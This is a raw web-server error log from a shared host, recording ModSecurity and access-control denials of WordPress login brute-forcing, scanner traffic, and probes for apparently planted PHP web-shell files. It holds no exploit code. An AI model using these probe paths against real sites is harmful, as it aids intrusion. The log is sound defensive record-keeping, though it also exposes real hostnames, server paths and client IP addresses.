https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:25:01.348506 2026] [access_compat:error] [pid 646876:tid 646999] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:25:01.395152 2026] [security2:error] [pid 646876:tid 646980] [remote 17.246.23.231:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 231.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai303dyTkdrNlD40tSHdMQAACWU"] [Sat Jun 13 18:25:01.446714 2026] [access_compat:error] [pid 715691:tid 715825] [remote 57.141.14.76:48255] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:01.447148 2026] [access_compat:error] [pid 715691:tid 715825] [remote 57.141.14.76:48255] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:01.624676 2026] [security2:error] [pid 646876:tid 647011] [client 185.199.157.19:20447] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 19.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/wp-content/themes/fukasawa/inc/classes/403.php"] [unique_id "ai303dyTkdrNlD40tSHdOAAAAAM"] [Sat Jun 13 18:25:01.742940 2026] [security2:error] [pid 646876:tid 646944] [remote 17.22.253.9:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai303dyTkdrNlD40tSHdPAAAAUE"] [Sat Jun 13 18:25:01.795062 2026] [access_compat:error] [pid 646876:tid 646998] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:25:01.795337 2026] [access_compat:error] [pid 646876:tid 646998] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:25:01.812404 2026] [access_compat:error] [pid 646876:tid 646902] [remote 57.141.14.24:52796] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:01.812853 2026] [access_compat:error] [pid 646876:tid 646902] [remote 57.141.14.24:52796] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:01.871893 2026] [access_compat:error] [pid 646876:tid 646987] [remote 57.141.14.76:48267] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:01.872321 2026] [access_compat:error] [pid 646876:tid 646987] [remote 57.141.14.76:48267] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:01.996750 2026] [security2:error] [pid 646876:tid 647037] [client 216.73.216.201:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 201.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/ldap/tests/ldap_next_entry_error.phpt"] [unique_id "ai303dyTkdrNlD40tSHdRgAAAB0"] [Sat Jun 13 18:25:02.125863 2026] [access_compat:error] [pid 715691:tid 715744] [remote 57.141.14.88:61198] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:02.126132 2026] [access_compat:error] [pid 715691:tid 715744] [remote 57.141.14.88:61198] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:02.236368 2026] [security2:error] [pid 646876:tid 647040] [client 185.199.157.20:29189] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 20.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/wp-content/plugins/hello-plus/classes/ehp-sarang.php"] [unique_id "ai303tyTkdrNlD40tSHdSQAAACA"] [Sat Jun 13 18:25:02.241798 2026] [access_compat:error] [pid 715691:tid 715770] [remote 57.141.14.33:41525] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:02.242135 2026] [access_compat:error] [pid 715691:tid 715770] [remote 57.141.14.33:41525] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:02.395537 2026] [access_compat:error] [pid 646876:tid 646970] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDUvbW91c2UwL2RldmljZQ== [Sat Jun 13 18:25:02.395833 2026] [access_compat:error] [pid 646876:tid 646970] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDUvbW91c2UwL2RldmljZQ== [Sat Jun 13 18:25:02.441503 2026] [security2:error] [pid 646876:tid 647047] [client 159.223.112.69:41002] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai303tyTkdrNlD40tSHdTwAAACc"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:02.634374 2026] [security2:error] [pid 715691:tid 715962] [client 159.223.112.69:41012] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai303rV-dFiaX9AtWiQyaQAAAYM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:02.826508 2026] [security2:error] [pid 715691:tid 715924] [client 159.223.112.69:41018] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai303rV-dFiaX9AtWiQycQAAAV0"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:02.860085 2026] [access_compat:error] [pid 715691:tid 715772] [remote 57.141.14.51:50104] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:02.860526 2026] [access_compat:error] [pid 715691:tid 715772] [remote 57.141.14.51:50104] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:02.904427 2026] [access_compat:error] [pid 646876:tid 646912] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9tb3VzZTEvZGV2aWNl [Sat Jun 13 18:25:02.904893 2026] [access_compat:error] [pid 646876:tid 646912] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9tb3VzZTEvZGV2aWNl [Sat Jun 13 18:25:02.933712 2026] [access_compat:error] [pid 646876:tid 646915] [remote 57.141.14.72:23913] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:02.934134 2026] [access_compat:error] [pid 646876:tid 646915] [remote 57.141.14.72:23913] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:03.019524 2026] [security2:error] [pid 715691:tid 715891] [client 159.223.112.69:41034] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3037V-dFiaX9AtWiQyeAAAATw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:03.070868 2026] [security2:error] [pid 715691:tid 715946] [client 34.66.224.20:34266] ModSecurity: Access denied with code 406 (phase 2). Match of "rx [.](png|jpeg|jpg|tiff|bmp|gif|webp|heif|svg|raw|ico|ppm|pgm|pbm|exr|nef|dng|cr2|orf|arw|pef|sr2|raf|kdc|indd|ai|eps|pdf|psd|tga|hdr|j2k|jpf|jp2|pspimage|cut|icns|webm|bpg|avif|heic|fpx|hdri|hdp|yuv|sgi|xpm|svgz)$" against "REQUEST_FILENAME" required. [file "/opt/mod_security/hg_rules.conf"] [line "842"] [id "900095"] [msg "Bad UA :: Fake Mozilla Agent"] [hostname "nelsonfarmstn.com"] [uri "/"] [unique_id "ai3037V-dFiaX9AtWiQyewAAAXM"] [Sat Jun 13 18:25:03.211943 2026] [security2:error] [pid 715691:tid 715872] [client 159.223.112.69:41036] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3037V-dFiaX9AtWiQygAAAASk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:03.252118 2026] [access_compat:error] [pid 646876:tid 646907] [remote 57.141.14.37:58938] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:03.252529 2026] [access_compat:error] [pid 646876:tid 646907] [remote 57.141.14.37:58938] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:03.288138 2026] [security2:error] [pid 646876:tid 647131] [client 159.223.112.69:41044] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3039yTkdrNlD40tSHdagAAAHs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:03.357430 2026] [security2:error] [pid 715691:tid 715768] [remote 17.241.75.49:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 49.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3037V-dFiaX9AtWiQyjgABYTk"] [Sat Jun 13 18:25:03.392968 2026] [access_compat:error] [pid 646876:tid 646890] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9ldmVudDAvcG93ZXI= [Sat Jun 13 18:25:03.393410 2026] [access_compat:error] [pid 646876:tid 646890] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9ldmVudDAvcG93ZXI= [Sat Jun 13 18:25:03.415609 2026] [security2:error] [pid 715691:tid 715882] [client 159.223.112.69:41060] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3037V-dFiaX9AtWiQylAAAATM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:03.461058 2026] [security2:error] [pid 715691:tid 715730] [remote 207.46.13.54:35325] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.13.46.207.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "celadondragon.com"] [uri "/content/histanddynasties/content/pronguide/content/primer/NorthernWei/Tang/Yuan/Shang/manual.php"] [unique_id "ai3037V-dFiaX9AtWiQylQABaRQ"] [Sat Jun 13 18:25:03.482909 2026] [security2:error] [pid 715691:tid 715885] [client 159.223.112.69:41074] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3037V-dFiaX9AtWiQymAAAATY"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:03.555770 2026] [security2:error] [pid 715691:tid 715733] [remote 157.90.174.226:59934] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 226.174.90.157.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "gkmasterson.com"] [uri "/wp-login.php"] [unique_id "ai3037V-dFiaX9AtWiQynQABRhc"] [Sat Jun 13 18:25:03.608172 2026] [security2:error] [pid 646876:tid 647088] [client 159.223.112.69:41076] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3039yTkdrNlD40tSHdcwAAAFA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:03.676496 2026] [security2:error] [pid 646876:tid 647116] [client 159.223.112.69:41078] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3039yTkdrNlD40tSHddQAAAGw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:03.796849 2026] [security2:error] [pid 715691:tid 715809] [remote 157.90.174.226:59934] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 226.174.90.157.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "gkmasterson.com"] [uri "/wp-login.php"] [unique_id "ai3037V-dFiaX9AtWiQypQABWmI"], referer: https://gkmasterson.com/wp-login.php [Sat Jun 13 18:25:03.800762 2026] [security2:error] [pid 646876:tid 647023] [client 159.223.112.69:41088] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3039yTkdrNlD40tSHdeQAAAA8"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:03.825608 2026] [access_compat:error] [pid 715691:tid 715855] [client 185.199.157.20:55259] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-admin/css/colors/blue/index.php, referer: http://krosscorp.us/wp-admin/css/colors/blue/ [Sat Jun 13 18:25:03.828804 2026] [access_compat:error] [pid 715691:tid 715855] [client 185.199.157.20:55259] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-admin/css/colors/blue/index.phtml, referer: http://krosscorp.us/wp-admin/css/colors/blue/ [Sat Jun 13 18:25:03.840027 2026] [access_compat:error] [pid 715691:tid 715855] [client 185.199.157.20:55259] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-admin/css/colors/blue/index.php5, referer: http://krosscorp.us/wp-admin/css/colors/blue/ [Sat Jun 13 18:25:03.877196 2026] [access_compat:error] [pid 715691:tid 715722] [remote 57.141.14.73:64386] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:03.881702 2026] [access_compat:error] [pid 715691:tid 715722] [remote 57.141.14.73:64386] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:03.910825 2026] [security2:error] [pid 715691:tid 715807] [remote 17.22.245.104:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 104.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3037V-dFiaX9AtWiQyqwABfmA"] [Sat Jun 13 18:25:03.940557 2026] [access_compat:error] [pid 646876:tid 646982] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 